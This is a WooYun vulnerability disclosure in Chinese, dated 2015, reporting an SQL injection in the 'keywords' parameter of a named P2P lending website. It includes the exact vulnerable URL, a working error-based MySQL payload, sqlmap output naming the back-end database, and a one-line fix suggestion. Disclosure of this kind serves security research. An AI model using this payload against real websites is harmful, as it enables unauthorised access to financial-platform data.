p2p金融小鹅e贷存在sql注入漏洞 | wooyun-2015-0153829| WooYun.org

漏洞概要关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0153829

漏洞标题：p2p金融小鹅e贷存在sql注入漏洞

漏洞作者： Nelion

提交时间：2015-11-23 15:14

修复时间：2016-01-11 15:32

公开时间：2016-01-11 15:32

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签：无

4人收藏收藏
分享漏洞：

漏洞详情

披露状态：

2015-11-23：积极联系厂商并且等待厂商认领中，细节不对外公开
2016-01-11：厂商已经主动忽略漏洞，细节向公众公开

简要描述：

p2p金融小鹅e贷（https://www.xiaoeyidai.com/）存在sql注入漏洞。

详细说明：

小额易贷（Easy Loaning）是一个广东小额易贷科技有限公司旗下的品牌，为粤东地区第一家互联网金融服务品牌，从事于为有资金需求的借款人和有理财需求的投资者搭建一个轻松、便捷、安全、透明的网络互动品牌。（百度百科）
1、注入点（keywords (GET)）：

https://www.xiaoeyidai.com/invest/index.html?keywords=&borrow_area_city=&order=&hasinvest=&borrow_use=&borrow_type=pawn%7Ccredit%7Cworth%7Cday%7Cvouch%7Csecond%7Croam%7Cjdb&account_status=&borrow_interestrate=&spread_month=

Parameter: keywords (GET)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl
ause
    Payload: keywords=' AND (SELECT 8161 FROM(SELECT COUNT(*),CONCAT(0x71716a7a7
1,(SELECT (ELT(8161=8161,1))),0x7162627671,FLOOR(RAND(0)*2))x FROM INFORMATION_S
CHEMA.CHARACTER_SETS GROUP BY x)a) AND 'rQWG'='rQWG&borrow_area_city=&order=&has
invest=&borrow_use=&borrow_type=pawn|credit|worth|day|vouch|second|roam|jdb&acco
unt_status=&borrow_interestrate=&spread_month=
---
[13:37:03] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.28
back-end DBMS: MySQL 5.0

漏洞证明：

2、数据库：
available databases [1]:
[*] xiaoeyidai

修复方案：

参数过滤

版权声明：转载请注明来源 Nelion@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

漏洞Rank：8 (WooYun评价)